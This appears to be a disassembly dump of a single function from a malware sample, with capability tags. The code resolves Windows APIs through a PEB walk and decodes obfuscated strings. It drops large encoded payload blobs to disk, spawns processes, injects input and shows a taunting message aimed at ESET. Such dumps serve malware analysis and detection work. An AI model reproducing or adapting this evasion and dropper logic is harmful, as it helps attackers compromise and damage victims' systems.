Function at 0x4016c0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2c8
push esi
push edi
push 0x3e8
mov dword [esp + 0xc], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004015b0
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401733
mov eax, dword [esi + 0x28]
mov ecx, str.KERNEL32.DLL
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401720
test dl, dl
je 0x40171c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401720
add eax, 2
add ecx, 2
test dl, dl
jne 0x401700
xor eax, eax
jmp 0x401725
sbb eax, eax
or eax, 1
test eax, eax
je 0x4017e8
mov esi, dword [esi]
cmp esi, edi
jne 0x4016f4
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [esp + 0xc], esi
mov ecx, str.EBMRFAYBNRZDTCcGGB9RVyFOUUdfSF1E
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd593c8], eax
mov ecx, str.AxMbFhcXEkoeZiYRBxs
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd593d0], eax
mov ecx, str.AxMbFhcXEkoebiobAA
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd59504], eax
mov ecx, str.EA0bBhcsABdITCo
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov dword [0xd593d8], eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x4017ff
nop
mov eax, dword [esi + 0x28]
mov ecx, str.User32.DLL
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4017f0
test dl, dl
je 0x4017e4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4017f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4017c8
xor eax, eax
jmp 0x4017f5
mov esi, dword [esi + 0x10]
jmp 0x401735
sbb eax, eax
or eax, 1
test eax, eax
je 0x401858
mov esi, dword [esi]
cmp esi, edi
jne 0x4017c0
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.ABgHARcJMRheQSIGAAoQFjtOVlht
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov dword [0xd593e0], eax
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401870
mov eax, dword [esi + 0x28]
mov ecx, str.User32.DLL
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40185d
test dl, dl
je 0x401854
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40185d
add eax, 2
add ecx, 2
test dl, dl
jne 0x401838
xor eax, eax
jmp 0x401862
mov esi, dword [esi + 0x10]
jmp 0x401801
sbb eax, eax
or eax, 1
test eax, eax
je 0x401c10
mov esi, dword [esi]
cmp esi, edi
jne 0x401830
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.AAQaETsKEQxY
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov dword [0xd593e4], eax
mov ecx, str.FAQAJgsXFRxBaSEFGw
call fcn.00401160
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.EBMRFAYBMQtDQyoQBy4
call fcn.00401160
mov ecx, dword [esp + 0xc]
mov edx, eax
call fcn.00401080
push 0x3e8
mov dword [0xd59510], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [esp + 8]
mov ecx, str.FiGyY2J0Ilt_ImNhi91be5pjYXQiW3siI2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjaXUiW3U92W90llK2A9tgOO96L0oKElRSKRRFEQAZAjgaTA0OAAI5HgIRFBoCMhUCJy4nAjYURgZPeS9RXyJjYXQiW3uS5alm1rzdY5eG0mOvnIQi3uuHG4XFxSDLvfg7T4THNZ3E2WKDhtJjbR15IpSThBpNRMAhpsX9OhQFwzTEvN1jVQfRYrqchCLe64UbjMXFIIDF_DqDhMc1OT7VYpaG0mNAHnsilJOEGmBHxyGBxf06cAoCHNa83WNjYXQiW3siY2F0Ilt7ImNhJGdbe25iZHRROVpHY2F0Ilt7ImOBdCBacCNtRnROWnsi_2F0Ilt7Im9dCJbayJjYfQjW3siI2F0Mlt7ImFhdCRbeyJjYXQiXXsiY2F0Ilt7cmFhdCZbeyJjYXQhWzujY2FkIltrImNhdDJbezJjYXQiW3syY2F0Ilt7ImNhdCI_kSNjSXQiW3sCYWGUI1t7ImNhdCJbeyJjYXQiW3siY2FEIFurM2NhrP5aexpjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3s6v2B0Ylt7ImNhdCJbeyJjYfQjW1MjY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0IltVVgYZACJbexgJYHQiS3siYw11Ilt_ImNhdCJbeyJjYXQiW3sCY2EUDCkfQxcAdCK3CyJjYfQjW3tQY2F0Ulp7ImNhdCJbeyJjYXQiG3siI08QQy8aImNhFDZbeyJjY3QiUXsiY4N1Ilt7ImNhdCJbeyJjYTQiW7sMERIGQVt7IoNgdCJbWyBjYXYiW3vOYmF0Ilt7ImNhdCJbeyIjYXRidQlHDw4XIlurM2NhdBJZeyJxYXQitXoiY2F0Ilt7ImNhdCJbOyJjI3QiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbe5qzcjYimLfur6247pe37q80_84N8FdrC3XKzDwiYKwJtY2LjILdHQLk_CcnovdK3_dU4maU1t7oad5KnYt426pihv4OvJnEkSFuEV28Li90uc8rEnovd0HPdE2X361oqygATdCLYst3gpWinm3RqouqRf5i37qtuO6Xt6v6GXhl7fur6247pe37qtuHfQl0tibBI7W0jwNeK63V4k0Q1dg9QF8jNANHypmSbhNuqYobd3cTU2_9vQvC18YXuUSzui2XmvY1tEVJBKs6Gbebvgg3chmbraYexwYhsrykYUdCLQi6GnZf1Xp_Dt827CMxr7mHu6NSJkDdFIrj2vGni74IN3IZm62mHsaGLSJtbgmHAt1QUiY2H5Y6C6ymEh_WejjProPIyvV_otfGF7lFx0lPN5r2NbdJQkYLTAWXSU43mvY1u7ymdrpKpNdJQkY3uUy2P5ImF7lBx64olje5TbY_kiYbTCX3Hy6zd1Le08IGzXIyHYvCZs1_Q6gDoio4FyKNljSJh_GRZORg4p8jLuGpPpX321oFQ2zXMyPR6zq4IHQt7XziiWXokOgY2OhlCBRq6p1J_fbWQUcbNczINHrOrggdC3tPCOji3ao22P5ImG0wl9x8ut3MqGieFx5bsJlWfGye7o1IlTNZWChliRR6zq4IHSqTT3VuqdyItiaIUi4WFaK8qbEnQi2L8mUJf_2t6gXERICd6cPtZFYXQiaKmvb1__5B2MV5fr9o6DOiLoNIgQX3GqYlqHXri9Jnxh_UEJXnohCnhl7fur6247pe37qtuO6XH4NTYXQiDSypG2335U_wFViWABnQNQrbtaxjW3Q9I2HM2FrV3nlplZJ8XNiWyQjLnWhomP34ln_8BaFRKwfjmj4rwj3rtWaOpCGawO5zxStHyY8GRzPirhl7fur624d9CXoY91J6mC8nefNyOpGEepJ3kMIZjwWkfqBD5YgKkrQXfRWLCrHpFH3dIOzuosgNWZeyKcngEN0Dbe6DFkLeyyGakTbakbbyGhWrxRS1Do6F36IaDw5Tw_L6mJuE8P0fiAPDHPqL_YkNI1OokjKebD3voZcWpkXjhbH4wIlvxM1lxATjfqVZx6yUjYSsjFm_341n44mHlple_SOKIZG_i2LMj5qEAN9Au3iXqOdZgDtoR3v_lBCV56IQp4dA0ugcmC3sf1LoXfMhoPDlPD8vqb4m4atuO6Xt6vrbh30Jehh5n1zgd_ImPs8AYXeSJjMiJ10KJxCz2uY1sryhdi90_2hJjYXShn3epG2335U_wFViWABxUZKJjYXQi0D0K2rWsY1vxMllwATjfqVZx6yQjYSojFm_34ln442Hlple_SOKIZG_i2LMj5qEAfdBNGZQUvRGtwnq6IHTK1ofdnOqkqZWTtp2ei4EXb2BjBdUSW3si6Bl4oZxvqVRag1Ya8GRL2KD6GnstfCV0ItFrGHIUa6aJDzDpMXUYCnpXcOK0INi6IOezAcZou8lp6gIysN85oK8I967VjnqQhmsDp1Ql81Sgjoii0GI3aTw8uivnAWlhN3APWBgWxDU2F0ItADLuCmYKlsQNUXXf9kc8L2uyB0qEtBMxZ8PAvaagzYE5zWg4x4KF2oZp5prEUkBGbkCjoF2TJ8mDi4Kl1p5sPXOhXT9UuvxGV2Pz7GnvK25qL3dCrqa2Jy9khIErdTYi1j8GczH5pn8nIGNhJN1ONzYhYf_a0gcGbKL3VT_2mFhdC1E_yJjYXQirT8Gc3H5Zn9HLeeLdSJbwka5IHSoS0EzFn7w8C9pqDNgTnNaDjHgoXahmnmmsRSQEZuQKOgXZMneYOLgqXWnm3Sm7GN0IuIDCJhWZ_R7LpcU4zLmGmsRVmqAt6GDJgASzYuyDgoHamiQ7GUKGfJ0C7oatg8eJU_3phYXSb36FjYwwBmfxMllwATjfqVZx6yQjYSojFm_34ln442Hlple_SOKIZG_i2LMj5qF7pnl5ImPYPgae68nRUgtRDsi6XFOMy5hprEVZqgLehgyYAEs2Lsg4KB2pokOxlChnydAu6GrYPHiVP_KYmF0m8ehY2PsMAZn8TJZcAE436lWceskI2EqIxZv9JZONh5aZXv0jiiGRv4tizIahe6bpeiJj2ND4GnuvJ0VILUQ7IulxTjMuYaaxFWaoC3oYMmABLNi7IOCgdqaJDsZQoZ8nQLuhq2Dx4lT_WmJhdJvvoWNj7DAGZ_EyWXABONpVnHrJCNhKiMWb_fiWfjjYeWmV79I4ohkbLYsyPmoXumGXoiY9jMBp7rydFSC1EOyLpcU4zLmGmsRVmqAt6GDJgASzYuyDgoHamiQ7GUKGfJ0C7oatg8eJU_ypiYXSvH18eMzL5pn8TIWNhHJ6BOiIziV_bpIShp3H5rn8bIWNhnF6nhN2KvXQiWytx7uVQelp7IgvdrmNbK8pgmIvd2L8y2vmtY1uTRJqei6mrky2YnoupjfDqiweP3aT2rkcxdSJb2HJ3I3RzpKuhm557psh7ImPJdS3e8CJjYdWKSDki7mXxJlt7IjOeQZJIOSKLnTUiW_auRzl1IlvYknAjdKGfc68yYP4jGv_iFphf6NY6IzOJIExbe6lWyWdgW_DywtFnYFv45mdSvatPy6eVH2Ky1scGM2B0ImJHqugdUC4vZWNYrwjJ1vcGM2B0IlRkYmPrda8Seqph7CYj37tXkSf9
call fcn.00401160
mov edx, dword [esp + 8]
mov ecx, str.FiGyY2J0Ilt_ImNhi91be5pjYXQiW3siI2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJj4XQiW3U92W90llK2A9tgOO96L0oKElRSKRRFEQAZAjgaTA0OAAI5HgIRFBoCMhUCJy4nAjYURgZPeS9RXyJjYXQiW3tyJmF0blp4Ism3p6FbeyJjYXQiW5siQWF_I2t7IiNhdCJXeyJjYXQi8SQiY2FUIlt7QmNhdCIbeyJDYXQiWXsiZ2F0Ilt7ImNndCJbeyJjYXSCW3siYWF0Ilt7ImBhFKdbezJjYWQiW3sic2F0Mlt7ImNhdDJbeyJjYXQiW3siYzkrIls0ImNhdEJbewZrYXQiW3siY2F0Ilt7ImNhdCJbe6JjYXgiW3sePGF0Plt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7AmNhfCJbeyJjYXQiW3sia0F0IhN7ImNhdCJbeyJjYVpWPgNWY2F0kmR7ImNBdCJbOyJjYXYiW3siY2F0Ilt7ImNhdAJbe0JNEwdQOHsiY0V8Ilt7QmNhdChbeyIhYXQiW3siY2F0Ilt7ImMhdCIbVVAGDRtBW3suY2F0Itt7ImNjdCJbNyJjYXQiW3siY2F0Ilt7YmNhNiJbeyJjYXQiW3siY2F0Ilv3fWNhdCJbe2pjYXQgW34iB050IoNUImNidCBbeSJjZ3QiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY2F0Ilt7ImNhdCJbeyJjYXQiW3siY3pEIVvJImNhdSJbagpiYXQkfW8oEWB0IitwIhE2dCIrd1DkYXRSVn0PdxODIlsLMWcfYyJbcTNnDmwiW3EoZU06UCx6IhNycVCIeiITcnJRQnsiaXJzM1xqJ3JnGzhbeyi9dBs5W3soRkxyBClqIGMRXD5beyi9YaouSnwOZHBzTUZ7Imm9fCtKfQpgYXQkc2UiY2sbPVt7KE9ncwpeeyJlvADdpIRNeGF0KH5WJEUTZSBbCwp_YXQohifdnJ50IlpTImNhdGhbdnVjdGAiW3ogYyt0BjV7LmNhdCJbey1j6u4iQ28iY2BvEl97NGJhdCBbezMRcnYiKwgCY2FCnp7ImlJViJbcVZkYXQgUX1QPmN0UjRuImNnfyU0XyJjZwZFWXtSDG50Il0FI2NhcFDUeSITDlciW3EEDGx0Il0UBmNhfi5wUSoMRHQiUQ8mY2F2L1IUKGNhcgp9eyJpTGVcWnsiZ2gbKFt7JAxCdCJRXSoMRnQiUVbsvXV8V017ImJycDNfVyVyZRs_W3sovx91Ilt_TUthdChIfglNc3EKcnsiaXJyXFl7Imdwck1xeyJpTGMzXXkhZ0lwIlt9XGFhdCZKfU1AYXQofWknS0p0IlFW671vZielbSBjYW9NRnsiab1zCnd7ImlHcgp3eyJpR6o3NGAiY2tRD11dUHJjdFJzZyJja6oicXsiIi10Ill7ImMwdCJbTSJjYfMiW3s2Y2F0Ilt7ImFhdCL8eyJjWnQiW5kiY2F6Ilt7ImNhdCJbeyJjYXQiW3oiY2F1IltuImNhYCJbejlTZHSYW3siYGF0MyloIGMRBwJbeyhLQHQiUVMAY2FVlx7ImFrCjdbeyZORGsyi3UiY2NcD1t7KLNjdCJZUw9jYX4KdXsiaUlbIltxonZhdCYlbiJjZQ8SW3soHXR0Il99NAxydCJdFBNjYX4pXHlNQ2F0JFx4TX5hdCRcf015YXQkXlMQY2FDkZ8TXRhdCRebK5xYXQgJUgiY2sKEVt7KAxwdCJdXSUMQ3QiXaU3DHp0IlFeD2VHBjNZe1JLfXQiUaUiSWF0I0t7ImNhdCL_3yJ2dXQiWmASb2GbKFt7JmNhZQpveyJpa1w8W3soDH50IlEUF2Nhfilj1ihjYXNNfnsiaRVsIlt6LhFwdiIrdioMV3QiUQnhYWEETWx7ImlNbyo0TSJja2OvYnsiYkRiPXXmTVthdChN4S9IZnxNbXsiaWwG5Vl7UmsOTSJbcU1ZYXQoKawgYxF8TWB7ImkTtyBbC1CCY3RSNEciY2tcH1t7KBBfdCJRCB1jYX4HKZAgYxFcJFt7JAwhdCJRFGNjYX5NGXsiaXJwGrFyImNwcE1eyJpFW0iW3oxZnBxTRh7ImkTWSFbC00nYXQoYr0rY2FlJzQ4ImNrBg9Ye1IMJHQiUW1NJWF0KDRNImNrZyRKfSR4STMiW3EYWh0IiV4ImNlZSQ0WCJja1JcWHsiZw5cIltxMWRZFCtbezBkSV0iW3Exax9wIlt_M2sOXiJbcRglaHQiKUwhYxFlJClGIWMRXGpbeyhwaAYVWHtScmcGt1h7UkspdCJRCelgYQQKEnsiaWNlK0xTaGNhfjNSUxBjYX4bqnMiYxOvIVsLCmVhdCRIcVBWZXRSczAiY2tcAFt7KHBqCjRbeyZOX1QiWnsiETZwIitv8mFhdCBzViJja2yvGHsiYkRiNE9TbmNhfoBbDV3STgiW3GASyx0IlFTbGNhfqJNeyJnH2IiW39ZLGF0KCVtImNlZSlKfU0zYXQoJWwiY2VZGE0JRWdhBDaLeSJjY1wPW3soew3Ilt6B3V3YAoXeyJpw1E1Qm8KL2F0KPlTb2NhfgoKeyJp4WMiW39cdGF0JiApImNrCjVbeyZyagZZX3tSDDJ0IlFoLh15dCJfVhh1EwsmWws2s2N0IllTD2NhfjrWOCJjYFE0TW8KL2F0KPleNXp1XG5beyjBSTkiW3EKN2F0KNtjImNlCjpbeyYYNHQiUQU6Y2FwM1BtTTVhdChIdlx5YXQmdkI0Ee5wIiurIGNhdgp2eyJpeflhW3sjRndiNnM3ImNr1gdMYjZLLXQiUdkKNGF0KHMqImNr9DhbeyYde3QiXwBwY2FXEF7ImcfbSJbfw9MdwaFX3tSs2N0IllTD2NhfjXWOCJjYFE0TW8KL2F0KPlTemNhfgoCeyJp4W0iW39cemF0JiAhImNrCjtbeyZybBt5W3soEahwIisUcWNhfgQlZyJjZVkbTQkZGEE8ll7ImFJWSJbcTruInQiWl40dXVcblt7KMFEYzVPU25jYX6AcywiY2tcc1t7KON9dCJfBT5jYXBZCXsiaR9oIlt_XHhhdCZ2VDQRTXMiK6sgY2F2CnZ7Iml2WFbeyNGd2I2czciY2vWCgN7ImlJLSJbcaJ4YXQmJWAiY2UPeFt7KB16dCJfai8MOnQiUXJQI2Z0UnMnImNrG3FbeyhFH2oiW38PWncGflx7UrNjdCJZUw9jYX461jgiY2BRNE1vCi9hdCj5XjV6dVxuW3sowUkjIltxCjdhdCjbZSJjZQo8W3smGDR0IlEFPGNhcFxGeyJnTFs0KVclYxGkIFt7IEtMdCJRbK8gYXQjfm00d0k4IltxgEs5dCJRU3tjYX6iRnsiZx9pIlt_WTlhdCglZiJjZWUvNCAiY2tvTQ17ImlHCgJbeyZOWGJQK3wiE7F2Ilt5Ck5hdChD9mFjYXUHTW02Sy10IlHZB3R4YAoXeyJpw1x1W3soSzx0IlH7AmNhcFx7eyJnGioiW3FcQ2F0JiVkImNlWQ1NCYRkYQTyWXsiYUlZIltxNe4idCJaXjR1dVxuW3sowUksIltxCjphdCjbZCJjZQo9W3smGDt0IlEFPWNhcDNWFHljYX40NCQiY2tSXHl7ImdMTTQpwyVjEaQgW3sgS0x0IlFjryBhdCNbTR3STgiW3GARnZtNnM3ImNr1goMeyJpSSkiW3GiQWF0JiVZImNlD3xbeygdQ3QiXwUDY2FwD3RtUMVmdFKLeSJjY1wPW3sodOw3Ilt6B3V3YAoXeyJpw1x6W3soSzh0IlH7A2NhcFx6eyJnGi4iW3FcQmF0Jkp2TThhdChNFH1jYX4EJVgiY2VZDU0JxGRhBPJZeyJhSVkiW3E17iJ0IlpeNHV1XG5beyjBSSwiW3EKOmF0KNtYImNlCgFbeyYYO3QiUQUBY2FwM1YUeWNhfjFVBQZjYXAPYW1Qm2Z0UkrIGNhdgp2eyJpeflhW3sjRndiNnM3ImNr1gdMYjZLLXQiUdkKLmF0
mov edi, eax
call fcn.00401160
push 0x41dd24
push dword [0xd593a4]
mov dword [esp + 0x10], eax
call fcn.00405397
mov esi, eax
add esp, 8
test esi, esi
je 0x40191e
push esi
push 0x76d619
push 1
push 0x420920
call fcn.00408050
push esi
call fcn.00405706
add esp, 0x14
push 0x41dd24
push dword [0xd59398]
call fcn.00405397
mov esi, eax
add esp, 8
test esi, esi
je 0x401952
push esi
push 0x19971c
push 1
push 0xb94740
call fcn.00408050
push esi
call fcn.00405706
add esp, 0x14
push 0x41dd24
push dword [0xd593a8]
call fcn.00405397
mov esi, eax
add esp, 8
test esi, esi
je 0x401982
push esi
push 0x2aaac
push 1
push edi
call fcn.00408050
push esi
call fcn.00405706
add esp, 0x14
push 0x41dd24
push dword [0xd5939c]
call fcn.00405397
mov esi, eax
add esp, 8
test esi, esi
je 0x4019b5
push esi
push 0x6800
push 1
push dword [esp + 0x14]
call fcn.00408050
push esi
call fcn.00405706
add esp, 0x14
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00403270
add esp, 0xc
xorps xmm0, xmm0
movaps xmmword [esp + 0x10], xmm0
push 0
push 2
call dword [0xd593c8]
mov esi, eax
cmp esi, 0xffffffff
je 0x401a42
lea eax, [esp + 0x80]
mov dword [esp + 0x80], 0x128
push eax
push esi
call dword [0xd593d0]
test eax, eax
je 0x401a3b
nop dword [eax]
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.HggXBx0XDh9YZSsEEUEHHRc
call fcn.00401160
push eax
lea eax, [esp + 0xa8]
push eax
call fcn.00408145
add esp, 8
test eax, eax
je 0x401c18
lea eax, [esp + 0x80]
push eax
push esi
call dword [0xd59504]
test eax, eax
jne 0x401a00
push esi
call dword [0xd593d8]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [0xd593a8]
push 0
call dword [0xd59510]
push 0
push 2
call dword [0xd593c8]
mov esi, eax
cmp esi, 0xffffffff
je 0x401ae2
lea eax, [esp + 0x1a8]
mov dword [esp + 0x1a8], 0x128
push eax
push esi
call dword [0xd593d0]
test eax, eax
je 0x401adb
nop word [eax + eax]
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.MBIGBlwBGRw
call fcn.00401160
push eax
lea eax, [esp + 0x1d0]
push eax
call fcn.00408145
add esp, 8
test eax, eax
je 0x401c24
lea eax, [esp + 0x1a8]
push eax
push esi
call dword [0xd59504]
test eax, eax
jne 0x401aa0
push esi
call dword [0xd593d8]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [0xd5939c]
push 0
call dword [0xd59510]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1d4c0
call esi
push 3
push dword [0xd59398]
push 0
push 0x14
call dword [0xd593e0]
push 0x1c
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 1
push eax
push 1
mov dword [esp + 0x20], 0xaf
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x24], 0
call dword [0xd593e4]
push 0x1c
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], 2
push eax
push 1
call dword [0xd593e4]
push 0x64
call esi
mov esi, 0x32
nop dword [eax]
push 0x1c
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 1
push eax
push 1
mov dword [esp + 0x20], 0xaf
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
mov dword [esp + 0x24], 0
call dword [0xd593e4]
push 0x1c
lea eax, [esp + 0x14]
mov dword [esp + 0x1c], 2
push eax
push 1
call dword [0xd593e4]
sub esi, 1
jne 0x401b80
mov eax, dword fs:[0x30]
mov edi, dword [eax + 0xc]
add edi, 0x14
mov esi, dword [edi]
cmp esi, edi
je 0x401c3f
mov ecx, dword [esi + 0x28]
mov eax, str.KERNEL32.DLL
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x401c30
test dl, dl
je 0x401c0c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x401c30
add ecx, 2
add eax, 2
test dl, dl
jne 0x401bf0
xor eax, eax
jmp 0x401c35
mov esi, dword [esi + 0x10]
jmp 0x401872
push esi
call dword [0xd593d8]
jmp 0x401a66
push esi
call dword [0xd593d8]
jmp 0x401b06
sbb eax, eax
or eax, 1
test eax, eax
je 0x401cb8
mov esi, dword [esi]
cmp esi, edi
jne 0x401be5
xor esi, esi
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.Hw4VET4NAwtNUjYi
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
push str.Shell32.dll
mov dword [0xd59524], eax
call eax
mov edx, str.Saturday__October_07__2023__6:29:00_AM
mov ecx, str.AAkRGR4hGRxPVTsGNQ
mov esi, eax
call fcn.00401160
mov edx, eax
mov ecx, esi
call fcn.00401080
push 1
push 0
push 0
push dword [0xd593a4]
mov dword [0xd59528], eax
push str.open
push 0
call eax
test eax, eax
jne 0x4019b5
push eax
push 0x41dd31
push str.Hey_ESET__wait_for_the_leak.._Doing_business_with_the_occupiers_puts_you_in_scope_
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x4019b5
mov esi, dword [esi + 0x10]
jmp 0x401c41